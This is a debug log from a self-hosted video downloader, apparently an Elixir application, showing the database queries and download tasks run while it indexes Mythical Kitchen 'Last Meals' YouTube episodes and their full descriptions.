s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:24.909 [debug] QUERY OK source="media_items" db=0.2ms idle=851.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-30 10:01:37Z], 1] 20:49:24.910 [debug] QUERY OK source="media_items" db=0.7ms idle=852.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Christoph Waltz eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFirst Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oJGpzg7kxsA5Xm0a9E8YInt\nCheat Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLH467HdBFcQKbu4jkxxM5Y\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Christoph's Last Meal\n1:11 Have You Thought About Your Last Meal Before?\n2:20 How Often Do You Think About Death?\n3:22 1st Course\n8:05 How To Drink Milk Like A Villain\n9:37 The Social Damage Of Narcissim\n11:42 2nd Course\n12:57 Process Over Death\n16:49 The Allegory Of Frankenstein\n21:18 Working With Guillermo del Toro\n22:39 I'd Like To Laugh On My Deathbead\n23:25 3rd Course\n26:18 Living An Examined Life\n28:40 Abandon Your Certainty\n30:54 Working With Quentin Tarantino\n32:14 4th Course\n34:40 The Meaning Of Life\n36:33 Astrology Mapping\n37:48 What Do You Think Happens When You Die?\n39:33 Lightning Round\n40:53 Christoph's Last Words\n\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Christoph Waltz Eats His Last Meal", "da2275ee-1238-45b7-b6b4-e23ce9186488", "https://www.youtube.com/watch?v=sBRbMvTlUok", false, "sBRbMvTlUok", 2498, false, 94, "/downloads/Last Meals/2025-10-30 Christoph Waltz Eats His Last Meal/Christoph Waltz Eats His Last Meal [sBRbMvTlUok].mp4", false, false, 1, [], 0, ~U[2025-10-30 10:01:37Z], ~U[2026-03-28 00:49:24Z], ~U[2026-03-28 00:49:24Z], "Christoph Waltz eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFirst Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oJGpzg7kxsA5Xm0a9E8YInt\nCheat Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLH467HdBFcQKbu4jkxxM5Y\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Christoph's Last Meal\n1:11 Have You Thought About Your Last Meal Before?\n2:20 How Often Do You Think About Death?\n3:22 1st Course\n8:05 How To Drink Milk Like A Villain\n9:37 The Social Damage Of Narcissim\n11:42 2nd Course\n12:57 Process Over Death\n16:49 The Allegory Of Frankenstein\n21:18 Working With Guillermo del Toro\n22:39 I'd Like To Laugh On My Deathbead\n23:25 3rd Course\n26:18 Living An Examined Life\n28:40 Abandon Your Certainty\n30:54 Working With Quentin Tarantino\n32:14 4th Course\n34:40 The Meaning Of Life\n36:33 Astrology Mapping\n37:48 What Do You Think Happens When You Die?\n39:33 Lightning Round\n40:53 Christoph's Last Words\n\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Christoph Waltz Eats His Last Meal", "https://www.youtube.com/watch?v=sBRbMvTlUok", "sBRbMvTlUok", 2498, false, "/downloads/Last Meals/2025-10-30 Christoph Waltz Eats His Last Meal/Christoph Waltz Eats His Last Meal [sBRbMvTlUok].mp4", false, 1, ~U[2025-10-30 10:01:37Z]] 20:49:24.911 [debug] QUERY OK source="sources" db=0.1ms idle=726.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:24.911 [debug] QUERY OK source="media_profiles" db=0.0ms idle=2.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:49:24.911 [debug] QUERY OK source="media_items" db=0.1ms idle=2.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [109] 20:49:24.911 [info] Kicking off download for media item #109 (sBRbMvTlUok) 20:49:24.913 [debug] QUERY OK source="tasks" db=0.1ms idle=1.7ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [108, 109, ~U[2026-03-28 00:49:24Z], ~U[2026-03-28 00:49:24Z]] 20:49:24.913 [debug] Current batch of media processed. Will check again in 1000ms 20:49:25.913 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Marlon Wayans eats his last meal. Thanks again to Kroger for sponsoring this video. #ad #Kroger @KrogerCo \n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Marlon's Last Meal\n0:49 Have You Thought About You Last Meal Before?\n1:10 How Often Do You Think About Death?\n2:10 1st Course\n3:15 Surprising Marlon With Moolah Mush\n5:57 The Finer Things In Life\n6:54 Taking Mom Out For Date Nights\n9:15 Marlon Is Josh's Zaddy\n11:10 The Legacy Of The Wayans\n13:10 Casting The Wayans Family Biopic\n13:34 Thank you, Kroger!!!\n14:06 2nd Course\n15:00 Filming Requiem For A Dream & Scary Movie At The Same Time\n16:56 Working With Jordan Peele\n18:26 Diving Into Darkness For HIM\n20:54 3rd Course\n21:30 How To Make Wayans Fried Chicken\n22:45 Grieving Dead Parents Through Comedy\n27:47 4th Course\n30:47 What Are You Willing To Sacrifice?\n32:07 Learning Acceptance & Healing From Your Kids\n33:53 What Do You Think Happens When You Die?\n34:19 Lightning Round\n35:13 Marlon's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "duration" => 2177, "filename" => "/downloads/Last Meals/2025-09-18 Marlon Wayans Eats His Last Meal/Marlon Wayans Eats His Last Meal [Y58vTc9kB2U].mp4", "id" => "Y58vTc9kB2U", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Y58vTc9kB2U", "playlist_index" => 95, "timestamp" => 1758189664, "title" => "Marlon Wayans Eats His Last Meal", "upload_date" => "20250918"} 20:49:25.914 [debug] QUERY OK source="sources" db=0.2ms idle=1002.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:49:25.914 [debug] QUERY OK source="sources" db=0.1ms idle=1001.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:25.915 [debug] QUERY OK source="media_items" db=0.2ms idle=1002.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-18 10:01:04Z], 1] 20:49:25.917 [debug] QUERY OK source="media_items" db=1.1ms idle=1002.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Marlon Wayans eats his last meal. Thanks again to Kroger for sponsoring this video. #ad #Kroger @KrogerCo \n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Marlon's Last Meal\n0:49 Have You Thought About You Last Meal Before?\n1:10 How Often Do You Think About Death?\n2:10 1st Course\n3:15 Surprising Marlon With Moolah Mush\n5:57 The Finer Things In Life\n6:54 Taking Mom Out For Date Nights\n9:15 Marlon Is Josh's Zaddy\n11:10 The Legacy Of The Wayans\n13:10 Casting The Wayans Family Biopic\n13:34 Thank you, Kroger!!!\n14:06 2nd Course\n15:00 Filming Requiem For A Dream & Scary Movie At The Same Time\n16:56 Working With Jordan Peele\n18:26 Diving Into Darkness For HIM\n20:54 3rd Course\n21:30 How To Make Wayans Fried Chicken\n22:45 Grieving Dead Parents Through Comedy\n27:47 4th Course\n30:47 What Are You Willing To Sacrifice?\n32:07 Learning Acceptance & Healing From Your Kids\n33:53 What Do You Think Happens When You Die?\n34:19 Lightning Round\n35:13 Marlon's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Marlon Wayans Eats His Last Meal", "a26886e3-be32-43e7-9393-40580ae533ef", "https://www.youtube.com/watch?v=Y58vTc9kB2U", false, "Y58vTc9kB2U", 2177, false, 95, "/downloads/Last Meals/2025-09-18 Marlon Wayans Eats His Last Meal/Marlon Wayans Eats His Last Meal [Y58vTc9kB2U].mp4", false, false, 1, [], 0, ~U[2025-09-18 10:01:04Z], ~U[2026-03-28 00:49:25Z], ~U[2026-03-28 00:49:25Z], "Today, Marlon Wayans eats his last meal. Thanks again to Kroger for sponsoring this video. #ad #Kroger @KrogerCo \n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Marlon's Last Meal\n0:49 Have You Thought About You Last Meal Before?\n1:10 How Often Do You Think About Death?\n2:10 1st Course\n3:15 Surprising Marlon With Moolah Mush\n5:57 The Finer Things In Life\n6:54 Taking Mom Out For Date Nights\n9:15 Marlon Is Josh's Zaddy\n11:10 The Legacy Of The Wayans\n13:10 Casting The Wayans Family Biopic\n13:34 Thank you, Kroger!!!\n14:06 2nd Course\n15:00 Filming Requiem For A Dream & Scary Movie At The Same Time\n16:56 Working With Jordan Peele\n18:26 Diving Into Darkness For HIM\n20:54 3rd Course\n21:30 How To Make Wayans Fried Chicken\n22:45 Grieving Dead Parents Through Comedy\n27:47 4th Course\n30:47 What Are You Willing To Sacrifice?\n32:07 Learning Acceptance & Healing From Your Kids\n33:53 What Do You Think Happens When You Die?\n34:19 Lightning Round\n35:13 Marlon's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Marlon Wayans Eats His Last Meal", "https://www.youtube.com/watch?v=Y58vTc9kB2U", "Y58vTc9kB2U", 2177, false, "/downloads/Last Meals/2025-09-18 Marlon Wayans Eats His Last Meal/Marlon Wayans Eats His Last Meal [Y58vTc9kB2U].mp4", false, 1, ~U[2025-09-18 10:01:04Z]] 20:49:25.917 [debug] QUERY OK source="sources" db=0.1ms idle=731.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:25.917 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:49:25.918 [debug] QUERY OK source="media_items" db=0.1ms idle=3.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [110] 20:49:25.918 [info] Kicking off download for media item #110 (Y58vTc9kB2U) 20:49:25.920 [debug] QUERY OK source="tasks" db=0.1ms idle=2.4ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [109, 110, ~U[2026-03-28 00:49:25Z], ~U[2026-03-28 00:49:25Z]] 20:49:25.920 [debug] Current batch of media processed. Will check again in 1000ms 20:49:26.920 [debug] Current batch of media processed. Will check again in 1000ms 20:49:27.921 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Victoria Justice eats her last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Victoria's Last Meal\n0:19 Stalking Jennifer Aniston\n1:45 Have You Thought About Your Last Meal Before?\n2:27 How Often Do You Think About Death?\n3:39 1st Course\n5:29 More Famous Than Obama\n7:35 Jumping In For Miranda Cosgrove\n9:19 A Supportive Family\n11:00 New Projects & New Music\n13:06 Love For Sara Bareilles\n14:25 2nd Course\n16:32 From Nickelodeon To More Adult Roles\n17:50 Pitching Victorious\n19:23 Facing Internet Backlash & \"We All Sing\"\n22:24 3rd Course\n25:00 Bringing No Bad Vibes To The Afterlife\n26:07 Songwriting Is Like Farting\n27:02 Exploring South Africa\n30:00 4th Course\n31:19 Dreaming About Killer Whales & Taylor Swift\n32:58 Dealing With Grief\n34:58 Missing Christina Grimmie\n37:02 What Do You Think Happens When You Die?\n37:37 Lightning Round\n40:52 Victoria's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "duration" => 2530, "filename" => "/downloads/Last Meals/2025-05-13 Victoria Justice Eats Her Last Meal/Victoria Justice Eats Her Last Meal [ylGaf3FZ4Fk].mp4", "id" => "ylGaf3FZ4Fk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ylGaf3FZ4Fk", "playlist_index" => 96, "timestamp" => 1747130497, "title" => "Victoria Justice Eats Her Last Meal", "upload_date" => "20250513"} 20:49:27.922 [debug] QUERY OK source="sources" db=0.2ms idle=864.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:49:27.923 [debug] QUERY OK source="sources" db=0.2ms idle=865.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:27.923 [debug] QUERY OK source="media_items" db=0.5ms idle=865.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-13 10:01:37Z], 1] 20:49:27.926 [debug] QUERY OK source="media_items" db=1.6ms idle=866.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Victoria Justice eats her last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Victoria's Last Meal\n0:19 Stalking Jennifer Aniston\n1:45 Have You Thought About Your Last Meal Before?\n2:27 How Often Do You Think About Death?\n3:39 1st Course\n5:29 More Famous Than Obama\n7:35 Jumping In For Miranda Cosgrove\n9:19 A Supportive Family\n11:00 New Projects & New Music\n13:06 Love For Sara Bareilles\n14:25 2nd Course\n16:32 From Nickelodeon To More Adult Roles\n17:50 Pitching Victorious\n19:23 Facing Internet Backlash & \"We All Sing\"\n22:24 3rd Course\n25:00 Bringing No Bad Vibes To The Afterlife\n26:07 Songwriting Is Like 